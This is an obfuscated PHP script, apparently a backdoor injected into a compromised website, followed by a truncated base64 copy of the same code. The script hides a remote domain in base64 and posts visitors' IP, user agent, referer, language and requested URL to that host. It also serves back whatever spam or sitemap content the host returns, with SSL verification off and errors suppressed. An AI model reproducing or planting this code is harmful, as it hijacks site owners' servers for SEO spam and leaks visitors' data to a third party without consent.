<?php ob_clean/*F:n}*/(/*a~@%Ta1*//**%}-z0$*/)/*E-1*/;@ob_end_clean/*<0G@!: */(/*fVDiEq*//*%+LP*/)/*E:v*-*/;@ob_start/*0UDE*/(/*^TdkK*//*(-J< 0*/)/*N4>!.a*/;@ignore_user_abort/*U9t*/(/*l-&g@N*/true/*L(t258*/)/*Md+T*/;@set_time_limit/*Cj5ZrsD**/(/*U{$*z}i*/0/*blOdJM}q*/)/*hlhB X+o*/;@ini_set/*WlumE;*/(/*vG>u*/"html_errors", "0"/*Sk>vm*/)/*yzz*/;error_reporting/*#UCrDI-y*/(/*8E .q*/0/*V^ln0kjn*/)/*3Mw6l*2**/;/*><xjL*O*/$g = urldecode/*RcV**/(/*EOFm*/'B303'/*B>q^}EOv*/)/**athc;*/; /*Df=wz@VJ*/$do = base64_decode/*e8bi1tv*/(/*Teox>c*/'c2VvMy5zZHNlby5vbmxpbmU='/*#2yM*/)/*Ikc*/;/*0k(%u1X>*/$l = urlencode/*%rN^<Zb*/(/*x*P*//*~-U5D*/$_SERVER['HTTP_ACCEPT_LANGUAGE'] ?
/*wh!L*/$_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''/*q(>cq{*/)/*CZ^o%*/;/*Waz56F*/$ua = urlencode/*{4v;u*/(/*vm2R2T*//*k~9O5L$*/$_SERVER['HTTP_USER_AGENT'] ?
/*C(sZF**/$_SERVER['HTTP_USER_AGENT'] : ''/*}g<*/)/*-9o3Y*/;/*>b5*/$sn = /*IW)wwhH+*/(/*;jaWgQ*//*R9 %**/$_SERVER['SCRIPT_NAME'] ?
/*C#RO7CD*/$_SERVER['SCRIPT_NAME'] : '/index.php'/*SN>8=*/)/*Mdc5=*/;/*:V%*%AU*/$hr = urlencode/*$MJ&iO*/(/*mMP+<N-*//*nf;CPZ5*/$_SERVER['HTTP_REFERER'] ?
/*z8J*kIa*/$_SERVER['HTTP_REFERER'] : ''/*=U;h!K;*/)/*%Ioz79O*/;/* X*T*/$i = urlencode/*1wXne*/(/*%&FqGy*/gia
/*!q)*/(/*Fm*!Q*//*gS!~a*/)/*Y9{(W*//*tK8O6gN*/)/*C3X*/;if /*a!H({*/(/*(DGB0j*/stripos/*e6{J{ZB*/(/*h5COQE*//*26LHl6.J*/$_SERVER['SERVER_SOFTWARE'], 'apache'/*Rg.(2BF*/)/*p}j-*/ !== false/*S:<(2so*/)/*a90^*/ {/**3h*/$s = 'apache';if /*54z)zEQa*/(/*=m^sD*//*k$qq*/$sn == '/index.php'/*.ZXpD*c*/)/*Vgp*/ {/*m(L>#*/$wjt = /*KiFw*/(/*x(g5afoH*/_wp
/*:vZ6IO29*/(/*BJr*//*0-(aSY*/)/*lHwW*/ == true/*W.b)*/)/*1(W7Uc*/ ?
'/' : '?';} else {/*+IrGU^4*/$wjt = '?';}} else {/**!Gw!*/$wjt = '?';/*YOT*/$s = "other";}if /*y~R <005*/(/*GeG*//*kG3T.Dt*/(/*F+*Xe5V*//*TjSx}.v*/$_SERVER['REQUEST_URI'] == "/" || /*rD0-6*/$_SERVER['REQUEST_URI'] == '/index.php'/*RI@gKyw*/)/*ceo*r*/ && /* S)Q%*/$_SERVER['QUERY_STRING'] == ""/*Zngq*/)/*D1wzUH}*/ {/*7(!b:F*/$base = bu
/*$zoq:E*/(/*x$xg(R*//*+~nN%Fx*/)/*gh..{7*/ . /*%~bpaH)*/$sn . /*2jF*/$wjt;/*AU4Z*/$u = bu
/*e(1PR+*/(/*DQZ7!*//*}~jC$H>q*/)/*KCZ*/./*xEu*/$wjt;} else {if /*Af^*/(/*TYqMZ*//*7:%LXZ*/$sn == '/index.php'/*Pz9wHp*/)/*BzHn <<U*/ {/*^W5 H--*/$base = bu
/*=CC{tj*/(/*<gN*//*&p7:Lte*/)/*Azf*/;/*lgMPxa*/$u = /*aERjyR}y*/$base . /*z0*a*/$_SERVER['REQUEST_URI'];} else {/*Y&e*/$base = bu
/*-70%>Y)J*/(/*Zb8b*//*x<-xgR*q*/)/*gmzeomO~*/ . /*wNK;*RZe*/$sn . /*a{1$*/$wjt;/*#E>IA*/$u = /*dFt*/$base . /*nwTcy1**/$_SERVER['QUERY_STRING'];}}if/**E^1RVf*/(/*-G3JMyY*/substr/*xkW7*/(/*f8Z*//*eBw7rJ*/$u, -4/*uz;CN=90*/)/*{7etr6Fw*/ == ".jpg" ||substr/*OpW*/(/*^y8>*//**Z7jJT4*/$u, -4/*xQpXX8}*/)/*eK+!>!+L*/ ==".ico"|| substr/*ZmCo;*/(/*8Tlb*//*}Zbw:wsv*/$u, -4/*do{j*/)/*S)W.5*/ ==".png"/*eRJ-*/)/*t^hyHl*/exit;/*tqh-1a)M*/$p_l = /*2xIuAqd*/$l ?
base64_encode/*v~;TJz*/(/*sJIWD^d*//*ZeLV*/$l/*@U(0>$qQ*/)/*wb7&V<*/ : "";/*ag%yVOhB*/$p_u = /*zth1*/$u ?
base64_encode/*&66i4X*/(/*%F{bx^J2*//*9mS$Y0~0*/$u/*hi-*/)/*M!M:ZUF*/ : "" ;/*:hb46:*/$p_ua = /*c>iHmA@*/$ua ?
base64_encode/*.gQYd*/(/*oQ%Nx-=*//*{dyu*/$ua/*i:wOe1*/)/*m@>*/ : "";/*}*$Aq.*/$p_hr = /*^sQ*/$hr ?
base64_encode/*w!=8F<K*/(/*6Y:P*//*:Z!J;sCp*/$hr/*yz 1O*/)/*u.k*/ : "";/*IxIeJP*/$w = "http://" . /*y^Q*/$do . "/v6";/*I%~IDH=z*/$data = array/*p Vg*/(/*50U1*/"i"=>/*qWiC*/$i,"l"=> /*Vfwz)#*/$p_l,"u"=>/*@rr*/$p_u,"g"=>/*GTvfy&*/$g,"s"=>/*n=(<a*/$s,"ua"=>/*:Ofn*/$p_ua,"hr"=>/*j*Gz(*/$p_hr/*}Edzt^*/)/*TD7:j:&w*/;/*X>R;kx#1*/$html = zge
/*zyfN~g G*/(/*P}+B}*//*>*cvlz*/$w,/*C5+*/$data/*psu)4X.*/)/*^ZI*/;/*d2x*/$htmlstr =json_decode/*oQn*8*/(/*eU *//*#wBF*/$html,true/*8QD:*/)/*.7;h(6Q*/;if/*a;&z*/(/*<-*Q(6aX*//*9y^CG7*/$htmlstr['h']==1/*Ay*w3RrF*/)/*&T3*/{/*qv**/$mgs = str_replace/*!dFk1>:*/(/*yhPA*/'#domain#', /*60SjeFum*/$base, /*X4zJA*/$htmlstr['mgs']/*Zm>EI*/)/*@TN4>sP-*/;if/*bVKm*/(/*A0k*/md5/*6U@YRUgv*/(/*~<%rV*/substr/*^JGJ*/(/*&-Zco3*//*03ge$^x*/$u, -4/*9jrAk0Q*/)/*54ffV*//*HpCF8+7b*/)/*IP+*/ == '4e9f6c7fdef327a6b0e08505dc57a694' && stripos/*4Nl-yS>Z*/(/*ORxp)S*//*sCA*/$u, base64_decode/*RdX F**/(/*2W#!*/'cGluZ3NpdGVtYXAueG1s'/*3r!Pjd*/)/*{qD*C*//*)Cn&*/)/*lZ-gqU3 */ === false/*B&eN*/)/*1Ynj#zj*/header/*Nnf V:GH*/(/*ecO>Vb@s*/'Content-type:application/xml; charset=UTF-8'/*nm5+-P=*/)/*H1T*/;echo /*}4WKfl<*/$mgs;exit;}elseif/*0iWQ#-*/(/*{Xg*//*+:u*/$htmlstr['h']==2/*Ok!-@T*/)/*4C$*/{echo /*%:v*/$htmlstr['mgs'];echo gget
/*Tn:**/(/*t-8Z P*//*26{xfA*/$htmlstr['mgs']/*pF1}k#-*/)/*$ok5$*/;exit;}function _wp
/*KheQx}hN*/(/*D<PN*//*OTJ%Qf)*/)/*pCMf*/ {/*~q4ZXbqP*/$dr = /*rt*&$5-K*/$_SERVER['DOCUMENT_ROOT'];if /*4V3.%(a*/(/*h 9Om*/is_dir/*2F.D*/(/*8D$&=^*//*ysr*/$dr . "/wp-admin/"/*WQ41)h7p*/)/*&LP$!3c9*/ && is_file/*ox%S:nW*/(/*(}$*//*v-g54*/$dr . '/wp-config.php'/*6q+Wc<*/)/*6+j*/ && is_dir/*A=-*mE*/(/*yR$V*//*DGxXMb**/$dr . '/wp-includes/'/*x)3*/)/*70B7988)*/ && is_file/*CRYmw->*/(/*10Z$TE=*//*1#&(2*/$dr . '/wp-blog-header.php'/*--*-$Qx*/)/*fR%.*/ && is_dir/*3lqV{vE!*/(/*bATG=!*//*3rWLq5*/$dr . '/wp-content/'/*hlp(y*/)/*r898*/ && is_file/*btTlL83>*/(/*eeHwjM**//*io+*/$dr . '/.htaccess'/*I(n0&vT*/)/*+=aaFleF*//*VmQ70h3&*/)/*E5K*/ {return true;} else {return false;}}function gget
/*ue!}Wa!v*/(/*^bKX*//*pdL*/$url/*6{#32D*/)/*.WR%EAf*/ {/*uY7*/$contents= file_get_contents/*xZttu*/(/*QI1m#M}*//*M<3 jm+x*/$url/*OBzpUM:*/)/*el*r*/;if/*bsfox*XZ*/(/*ZetO */!/*J$zht*/$contents/*uAq*/)/*Qzgm#<v*/{/*&WZ=-ICW*/$ch = curl_init/*8.yy*/(/*WNl*//*rxa*/)/*8YJTCL*/;curl_setopt/*$Mq5B*/(/*dP:0XF*//*t%4bv*/$ch, CURLOPT_URL
, /*Aiq*/$url/*m=a*/)/*Z~b#gljj*/;curl_setopt/*zzuq*/(/*(KoIi10*//*K P83O*/$ch, CURLOPT_RETURNTRANSFER
, 1/*B&=7h(-)*/)/*~X5kO~ l*/;/*@74Y;.$*/$contents = curl_exec/*P>Iuh9i*/(/*<sS+*//*AY}<q*/$ch/* BG*/)/*&-wt*/;curl_close/*&N**/(/*YEGy@NSf*//*w#Vi%g#*/$ch/*A DW#z*/)/*y47$0*/;}return /*Q;9B9*/$contents;}function zge
/*RDbw{sPc*/(/*ZAm.gp*//**JrYV<.Q*/$url,/*%:v}#n*/$data, /*m#n<C3*/$t = 50/*aT%bf*/)/*g3>~u&*/ {/*fKu*/$curl = curl_init/*GpmY*/(/*f(A#@.9*//*A7+#r4d*/)/*jJAU&76-*/;curl_setopt/*Nf0f#F5*/(/*yvNUP~!*//*vLbJg*/$curl, CURLOPT_URL
, /*8DA*/$url/*a c*/)/*;~S3k*/;curl_setopt/*W(WS*/(/*gs{YQB*//*0cIPQ30*/$curl, CURLOPT_HEADER
, 0/**exCAHZ*/)/*Q#6f:*/;curl_setopt/*tKx*/(/*{IQUl*//*tp-*/$curl, CURLOPT_ENCODING
, 'gzip,deflate'/*q+U!dQ*/)/*Mi>d*/;curl_setopt/*f$UraNCI*/(/*bZD*//*TBYc8*/$curl, CURLOPT_FOLLOWLOCATION
, true/*.O5b@XDf*/)/*zNk<Xlxm*/;curl_setopt/*@Qv8*a:W*/(/*CZG9KotZ*//*+eCA*/$curl,CURLOPT_POST
,1/*qa8*/)/*E{89oqp:*/;curl_setopt/*#=8q0T*/(/*g25BA*//* G8*/$curl,CURLOPT_POSTFIELDS
,/*zd*)8*/$data/*:Fu*/)/*Sqa5B*/;curl_setopt/**X;*/(/*u *3*//*<yY^ID*/$curl, CURLOPT_RETURNTRANSFER
, 1/**HwY.*/)/*Gw+*/;curl_setopt/*b*fi0K*/(/*vwX*//*-ZS*/$curl, CURLOPT_AUTOREFERER
, true/*+ 8QV2*/)/*LQ=ZH*/;if /*%xE*/(/*1wVfa{*/stripos/*UoB+*/(/*~F$*//*n*P*/$url, 'https'/*c<L*/)/*@C*BM*/ !== false/*~D7!:-R*/)/*.vgi*/ {curl_setopt/*lqr*/(/*vNYF*//*8O!R*/$curl, CURLOPT_SSL_VERIFYPEER
, false/*sEM@Vu*/)/*j(HW*/;curl_setopt/*8:D~lL#*/(/*.@O7O*//*oTm*/$curl, CURLOPT_SSL_VERIFYHOST
, FALSE/*IzD#8h*/)/*Z5h~GkRp*/;}curl_setopt/*BA&=*/(/*ULTN*//*hT$d%}Ya*/$curl, CURLOPT_TIMEOUT
, /*^&O*/$t/*m*=kUY^i*/)/*Mz3*/;/*t0-5%P*/$content = curl_exec/*i{f9*H~*/(/*p #JHv)n*//*MP#NB*/$curl/*Mwl*/)/*1fVXd*/;curl_close/*P;**L(s*/(/*.***!gh%*//*6vgc*/$curl/*2yNHx}6*/)/*hKW*/;return /*j*13Dk<n*/$content;}function gia
/*G^W8.*/(/*A*U;K*//*O=ajv}*/)/*x!6 LR*/ {if /*UI!WPV*/(/*cfC*z*/isset/*:*-*TNn!*/(/*pKPd9<9*//*HTA{*/$_SERVER/*07B(Q5L*/)/**Ss2~hn*//*;>6tq~*/)/*ij r*/ {if /*oSCv#&*/(/*{f0.*/isset/*R3 2*/(/*YFh!uY*//*j<>u(**/$_SERVER['HTTP_X_FORWARDED_FOR']/*$:5-8r*/)/*aQV*//*L~7;e;g*/)/*<*3nx3*/ {/**owQ!.>s*/$ip = /*J1g1.*/$_SERVER['HTTP_X_FORWARDED_FOR'];} elseif /*Y^nOn-s*/(/*GU**eZ*/isset/*B)i 5L<*/(/*JQ$P&=^O*//*8iJ3Ruw*/$_SERVER['HTTP_CLIENT_IP']/*pypFRvN*/)/*$n(E~)*//*PgG41p*/)/* LkB*/ {/*OZ{B*/$ip = /*:}uqi(Y**/$_SERVER['HTTP_CLIENT_IP'];} elseif /*}}m*/(/*LN&8*/isset/*qS1*/(/*KiXi&Q*//*-SmR9W:*/$_SERVER['HTTP_X_FORWARDED']/*T-R*/)/*zPPbvTl*//*v{H!m*/)/*=N-{GaDT*/ {/*}fQ*/$ip = /*5~e2-WK+*/$_SERVER['HTTP_X_FORWARDED'];} elseif /*chUUm K-*/(/*viU*/isset/*@3C*/(/*H4;*//*%qW*/$_SERVER['HTTP_X_CLUSTER_CLIENT_IP']/*xB1&-JX*/)/*iNGl*(*//*m+IIK>l*/)/*-S{dtY*/ {/*9+AfY5g*/$ip = /*r1.@Fp*/$_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];} elseif /*;X!7M*/(/*o*g-S HO*/isset/*:^+vf*/(/*0H(&b(4*//*pH{5;*/$_SERVER['HTTP_FORWARDED_FOR']/*xZX7Sr*/)/*7$xDn*//*6xbSu*/)/*jhq5*/ {/*;STbao!=*/$ip = /*UZ+A*/$_SERVER['HTTP_FORWARDED_FOR'];} elseif /*>}kh@xwM*/(/*G}pW&3*/isset/*Ek)LyW*/(/*HE9T$:*//*3TZ#&Q*/$_SERVER['HTTP_FORWARDED']/*%lm~d8d#*/)/*HP){yN*//**DuLy*/)/*4:<*/ {/*RyY*/$ip = /*NqgKTU=q*/$_SERVER['HTTP_FORWARDED'];} else {/*Rge*/$ip = /**$zMY*/$_SERVER['REMOTE_ADDR'];}} else {if /*$@V~2lI*/(/* 8 xhwk*/getenv/*3#T)F%Kg*/(/*ANbD^5k*/'HTTP_X_FORWARDED_FOR'/*vd4A*/)/*YB&(*//*tG$e(*/)/*8XfeW*/ {/*2ax4s6#*/$ip = getenv/*5RkO%~7*/(/*Yrk*/'HTTP_X_FORWARDED_FOR'/*LTQD4*/)/*:ng64so>*/;} elseif /*xf>CJJJ*/(/*qdwgbzg*/getenv/*$AQL*/(/**Fnv>*/'HTTP_CLIENT_IP'/*lgN*/)/*Z=djpkP:*//*mlj#>*/)/*g;*wiD)*/ {/*BKm4cK*/$ip = getenv/*M)XAX9I*/(/*(sSR4dL*/'HTTP_CLIENT_IP'/*&MP0+iUK*/)/*1in*/;} else {/*l3DK2Nay*/$ip = getenv/*fpJRBn r*/(/*f6-5*/'REMOTE_ADDR'/*++$1**/)/*PVQrc*/;}}return trim/**G*.a*/(/*4.h2G*//*r*&*/$ip/*Mqe5gQ*/)/*073Sq*/;}function bu
/*+# */(/*qkL*//*Z7&-tN~*/)/*WR>*/ {if /*5(bDBp@ */(/*hkD1*//*j7BJ2%*/(/*K:y4*/isset/*AaG@*/(/*&.JeHgsv*//*ke4Ng~XA*/$_SERVER['HTTPS']/*kXNCxP<*/)/*L%mN*/ && /*.bRZ%k*/(/*>(jWa*//*)I(*/(/*n#1B.*//*s1nM*/$_SERVER['HTTPS'] == 'on'/*>8@5rNm*/)/*IhG.jv6*/ || /*Ms+#5*/(/*Ylq*bR*//*<!;+e2J}*/$_SERVER['HTTPS'] == '1'/*A6=Zy@ml*/)/*k(1@J8l*//*l>yX;y*/)/*kl<w^:I>*//*JG*Y.:;*/)/*;U-*/ || /*GP00o*/(/*CyF7>T1*/isset/*T+KX*/(/*l^l5Yn!:*//*Fa)R*/$_SERVER['HTTPS']/*~>AY*/)/*ia$g*/ && /*l-Kt(Yj*/(/*p)Nn*/isset/*Tod#%b*/(/*>=*(!*//*~s=4o*/$_SERVER['SERVER_PORT']/*d+4EeGpM*/)/*6Lh*V*/ && /*^p o(*/$_SERVER['SERVER_PORT'] == 443/*9F;{%*/)/*2qy^u*//*(-}:e{S*/)/*M.GeXcZ*//*4@e*/)/*P:SzX*/ {/*GMl!0V*/$http = 'https://' . /*t*m*/$_SERVER['HTTP_HOST'];} elseif /*CkG)*/(/*zq@*/!empty/*HKAB*/(/*<go*//*3H1ZB*/$_SERVER['HTTP_X_FORWARDED_PROTO']/* r~9*/)/*1DTA1B*/ && /*15uax*/$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty/*VVv%-*y-*/(/*%{QD<*//*l~CBE*/$_SERVER['HTTP_X_FORWARDED_SSL']/*AuBn*/)/*k(4X%F*/ && /*b*<m*/$_SERVER['HTTP_X_FORWARDED_SSL'] == 'on'/*1dL#^L4d*/)/*gmI*/ {/*:E0:BH*/$http = 'https://' . /*v!3z0x**/$_SERVER['HTTP_HOST'];} else {/*@n2*/$http = 'http://' . /*=0@2U-p+*/$_SERVER['HTTP_HOST'];}return /*mgI@hP*/$http;}?>
PD9waHAgICBvYl9jbGVhbi8qRjpufSovKC8qYX5AJVRhMSovLyoqJX0tejAkKi8pLypFLTEqLztAb2JfZW5kX2NsZWFuLyo8MEdAITogKi8oLypmVkRpRXEqLy8qJStMUCovKS8qRTp2Ki0qLztAb2Jfc3RhcnQvKjBVREUqLygvKl5UZGtLKi8vKigtSjwgMCovKS8qTjQ+IS5hKi87QGlnbm9yZV91c2VyX2Fib3J0LypVOXQqLygvKmwtJmdATiovdHJ1ZS8qTCh0MjU4Ki8pLypNZCtUKi87QHNldF90aW1lX2xpbWl0LypDajVacnNEKiovKC8qVXskKnp9aSovMC8qYmxPZEpNfXEqLykvKmhsaEIgWCtvKi87QGluaV9zZXQvKldsdW1FOyovKC8qdkc+dSovImh0bWxfZXJyb3JzIiwgIjAiLypTaz52bSovKS8qeXp6Ki87ZXJyb3JfcmVwb3J0aW5nLyojVUNyREkteSovKC8qOEUgLnEqLzAvKlZebG4wa2puKi8pLyozTXc2bCoyKiovOy8qPjx4akwqTyovJGcgPSB1cmxkZWNvZGUvKlJjVioqLygvKkVPRm0qLydCMzAzJy8qQj5xXn1FT3YqLykvKiphdGhjOyovOyAvKkRmPXd6QFZKKi8kZG8gPSBiYXNlNjRfZGVjb2RlLyplOGJpMXR2Ki8oLypUZW94PmMqLydjMlZ2TXk1elpITmxieTV2Ym14cGJtVT0nLyojMnlNKi8pLypJa2MqLzsvKjBrKCV1MVg+Ki8kbCA9IHVybGVuY29kZS8qJXJOXjxaYiovKC8qeCpQKi8vKn4tVTVEKi8kX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSA/IC8qd2ghTCovJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gOiAnJy8qcSg+Y3F7Ki8pLypDWl5vJSovOy8qV2F6NTZGKi8kdWEgPSB1cmxlbmNvZGUvKns0djt1Ki8oLyp2bTJSMlQqLy8qa345TzVMJCovJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID8gLypDKHNaRioqLyRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnLyp9ZzwqLykvKi05bzNZKi87Lyo+YjUqLyRzbiA9IC8qSVcpd3doSCsqLygvKjtqYVdnUSovLypSOSAlKiovJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10gPyAvKkMjUk83Q0QqLyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddIDogJy9pbmRleC5waHAnLypTTj44PSovKS8qTWRjNT0qLzsvKjpWJSolQVUqLyRociA9IHVybGVuY29kZS8qJE1KJmlPKi8oLyptTVArPE4tKi8vKm5mO0NQWjUqLyRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA/IC8qejhKKmtJYSovJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJycvKj1VO2ghSzsqLykvKiVJb3o3OU8qLzsvKiBYKlQqLyRpID0gdXJsZW5jb2RlLyoxd1huZSovKC8qJSZGcUd5Ki9naWEvKiFxKSovKC8qRm0qIVEqLy8qZ1MhfmEqLykvKlk5eyhXKi8vKnRLOE82Z04qLykvKkMzWCovO2lmIC8qYSFIKHsqLygvKihER0Iwaiovc3RyaXBvcy8qZTZ7SntaQiovKC8qaDVDT1FFKi8vKjI2TEhsNi5KKi8kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10sICdhcGFjaGUnLypSZy4oMkJGKi8pLypwfWotKi8gIT09IGZhbHNlLypTOjwoMnNvKi8pLyphOTBeKi8gey8qKjNoKi8kcyA9ICdhcGFjaGUnO2lmIC8qNTR6KXpFUWEqLygvKj1tXnNEKi8vKmskcXEqLyRzbiA9PSAnL2luZGV4LnBocCcvKi5aWHBEKmMqLykvKlZncCovIHsvKm0oTD4jKi8kd2p0ID0gLypLaUZ3Ki8oLyp4KGc1YWZvSCovX3dwLyo6dlo2SU8yOSovKC8qQkpyKi8vKjAtKGFTWSovKS8qbEh3VyovID09IHRydWUvKlcuYikqLykvKjEoVzdVYyovID8gJy8nIDogJz8nO30gZWxzZSB7LyorSXJHVV40Ki8kd2p0ID0gJz8nO319IGVsc2Ugey8qKiFHdyEqLyR3anQgPSAnPyc7LypZT1QqLyRzID0gIm90aGVyIjt9aWYgLyp5flIgPDAwNSovKC8qR2VHKi8vKmtHM1QuRHQqLygvKkYrKlhlNVYqLy8qVGpTeH0udiovJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gPT0gIi8iIHx8IC8qckQwLTYqLyRfU0VSVkVSWydSRVFVRVNUX1VSSSddID09ICcvaW5kZXgucGhwJy8qUklAZ0t5dyovKS8qY2VvKnIqLyAmJiAvKiBTKVElKi8kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10gPT0gIiIvKlpuZ3EqLykvKkQxd3pVSH0qLyB7Lyo3KCFiOkYqLyRiYXNlID0gYnUvKiR6b3E6RSovKC8qeCR4ZyhSKi8vKit+bk4lRngqLykvKmdoLi57NyovIC4gLyolfmJwYUgpKi8kc24gLiAvKjJqRiovJHdqdDsvKkFVNFoqLyR1ID0gYnUvKmUoMVBSKyovKC8qRFFaNyEqLy8qfX5qQyRIPnEqLykvKktDWiovLi8qeEV1Ki8kd2p0O30gZWxzZSB7aWYgLypBZl4qLygvKlRZcU1aKi8vKjc6JUxYWiovJHNuID09ICcvaW5kZXgucGhwJy8qUHo5d0hwKi8pLypCekhuIDw8VSovIHsvKl5XNSBILS0qLyRiYXNlID0gYnUvKj1DQ3t0aiovKC8qPGdOKi8vKiZwNzpMdGUqLykvKkF6ZiovOy8qbGdNUHhhKi8kdSA9IC8qYUVSanlSfXkqLyRiYXNlIC4gLyp6MCphKi8kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTt9IGVsc2Ugey8qWSZlKi8kYmFzZSA9IGJ1LyotNzAlPlkpSiovKC8qWmI4YiovLyp4PC14Z1IqcSovKS8qZ216ZW9tT34qLyAuIC8qd05LOypSWmUqLyRzbiAuIC8qYXsxJCovJHdqdDsvKiNFPklBKi8kdSA9IC8qZEZ0Ki8kYmFzZSAuIC8qbndUY3kxKiovJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddO319aWYvKipFXjFSVmYqLygvKi1HM0pNeVkqL3N1YnN0ci8qeGtXNyovKC8qZjhaKi8vKmVCdzdySiovJHUsIC00Lyp1ejtDTj05MCovKS8qezdldHI2RncqLyA9PSAiLmpwZyIgfHxzdWJzdHIvKk9wVyovKC8qXnk4PiovLyoqWjdqSlQ0Ki8kdSwgLTQvKnhRcFhYOH0qLykvKmVLKyE+IStMKi8gPT0iLmljbyJ8fCBzdWJzdHIvKlptQ287Ki8oLyo4VGxiKi8vKn1aYnc6d3N2Ki8kdSwgLTQvKmRve2oqLykvKlMpVy41Ki8gPT0iLnBuZyIvKmVSSi0qLykvKnReaHlIbCovZXhpdDsvKnRxaC0xYSlNKi8kcF9sID0gLyoyeEl1QXFkKi8kbCA/IGJhc2U2NF9lbmNvZGUvKnZ+O1RKeiovKC8qc0pJV0ReZCovLypaZUxWKi8kbC8qQFUoMD4kcVEqLykvKndiNyZWPCovIDogIiI7LyphZyV5Vk9oQiovJHBfdSA9IC8qenRoMSovJHUgPyBiYXNlNjRfZW5jb2RlLyomNjZpNFgqLygvKiVGe2J4XkoyKi8vKjltUyRZMH4wKi8kdS8qaGktKi8pLypNIU06WlVGKi8gOiAiIiA7Lyo6aGI0NjoqLyRwX3VhID0gLypjPmlIbUFAKi8kdWEgPyBiYXNlNjRfZW5jb2RlLyouZ1FZZCovKC8qb1ElTngtPSovLyp7ZHl1Ki8kdWEvKmk6d09lMSovKS8qbUA+Ki8gOiAiIjsvKn0qJEFxLiovJHBfaHIgPSAvKl5zUSovJGhyID8gYmFzZTY0X2VuY29kZS8qdyE9OEY8SyovKC8qNlk6UCovLyo6WiFKO3NDcCovJGhyLyp5eiAxTyovKS8qdS5rKi8gOiAiIjsvKkl4SWVKUCovJHcgPSAiaHR0cDovLyIgLiAvKnleUSovJGRvIC4gIi92NiI7LypJJX5JREg9eiovJGRhdGEgPSBhcnJheS8qcCBWZyovKC8qNTBVMSovImkiPT4vKnFXaUMqLyRpLCJsIj0+IC8qVmZ3eikjKi8kcF9sLCJ1Ij0+LypAcnIqLyRwX3UsImciPT4vKkdUdmZ5JiovJGcsInMiPT4vKm49KDxhKi8kcywidWEiPT4vKjpPZm4qLyRwX3VhLCJociI9Pi8qaipHeigqLyRwX2hyLyp9RWR6dF4qLykvKlRENzpqOiZ3Ki87LypYPlI7a3gjMSovJGh0bWwgPSB6Z2UvKnp5Zk5+ZyBHKi8oLypQfStCfSovLyo+KmN2bHoqLyR3LC8qQzUrKi8kZGF0YS8qcHN1KTRYLiovKS8qXlpJKi87LypkMngqLyRodG1sc3RyID1qc29uX2RlY29kZS8qb1FuKjgqLygvKmVVICovLyojd0JGKi8kaHRtbCx0cnVlLyo4UUQ6Ki8pLyouNztoKDZRKi87aWYvKmE7JnoqLygvKjwtKlEoNmFYKi8vKjl5XkNHNyovJGh0bWxzdHJbJ2gnXT09MS8qQXkqdzNSckYqLykvKiZUMyovey8qcXYqKi8kbWdzID0gc3RyX3JlcGxhY2UvKiFkRmsxPjoqLygvKnloUEEqLycjZG9tYWluIycsIC8qNjBTamVGdW0qLyRiYXNlLCAvKlg0ekpBKi8kaHRtbHN0clsnbWdzJ10vKlptPkVJKi8pLypAVE40PnNQLSovO2lmLypiVkttKi8oLypBMGsqL21kNS8qNlVAWVJVZ3YqLygvKn48JXJWKi9zdWJzdHIvKl5KR0oqLygvKiYtWmNvMyovLyowM2dlJF54Ki8kdSwgLTQvKjlqckFrMFEqLykvKjU0ZmZWKi8vKkhwQ0Y4KzdiKi8pLypJUCsqLyA9PSAnNGU5ZjZjN2ZkZWYzMjdhNmIwZTA4NTA1ZGM1N2E2OTQnICYmIHN0cmlwb3MvKjRObC15Uz5aKi8oLypPUnhwKVMqLy8qc0NBKi8kdSwgYmFzZTY0X2RlY29kZS8qUmRYIEYqKi8oLyoyVyMhKi8nY0dsdVozTnBkR1Z0WVhBdWVHMXMnLyozciFQamQqLykvKntxRCpDKi8vKilDbiYqLykvKmxaLWdxVTMgKi8gPT09IGZhbHNlLypCJmVOKi8pLyoxWW5qI3pqKi9oZWFkZXIvKk5uZiBWOkdIKi8oLyplY08+VmJAcyovJ0NvbnRlbnQtdHlwZTphcHBsaWNhdGlvbi94bWw7IGNoYXJzZXQ9VVRGLTgnLypubTUrLVA9Ki8pLypIMVQqLztlY2hvIC8qfTRXS2ZsPCovJG1ncztleGl0O31lbHNlaWYvKjBpV1EjLSovKC8qe1hnKi8vKis6dSovJGh0bWxzdHJbJ2gnXT09Mi8qT2shLUBUKi8pLyo0QyQqL3tlY2hvIC8qJTp2Ki8kaHRtbHN0clsnbWdzJ107ZWNobyBnZ2V0LypUbjoqKi8oLyp0LThaIFAqLy8qMjZ7eGZBKi8kaHRtbHN0clsnbWdzJ10vKnBGMX1rIy0qLykvKiRvazUkKi87ZXhpdDt9ZnVuY3Rpb24gX3dwLypLaGVReH1oTiovKC8qRDxQTiovLypPVEolUWYpKi8pLypwQ01mKi8gey8qfnE0WlhicVAqLyRkciA9IC8qcnQqJiQ1LUsqLyRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107aWYgLyo0VjMuJShhKi8oLypoIDlPbSovaXNfZGlyLyoyRi5EKi8oLyo4RCQmPV4qLy8qeXNyKi8kZHIgLiAiL3dwLWFkbWluLyIvKldRNDEpaDdwKi8pLyomTFAkITNjOSovICYmIGlzX2ZpbGUvKm94JVM6blcqLygvKih9JCovLyp2LWc1NCovJGRyIC4gJy93cC1jb25maWcucGhwJy8qNnErV2M8Ki8pLyo2K2oqLyAmJiBpc19kaXIvKkE9LSptRSovKC8qeVIkViovLypER3hYTWIqKi8kZHIgLiAnL3dwLWluY2x1ZGVzLycvKngpMyovKS8qNzBCNzk4OCkqLyAmJiBpc19maWxlLypDUlltdy0+Ki8oLyoxMFokVEU9Ki8vKjEjJigyKi8kZHIgLiAnL3dwLWJsb2ctaGVhZGVyLnBocCcvKi0t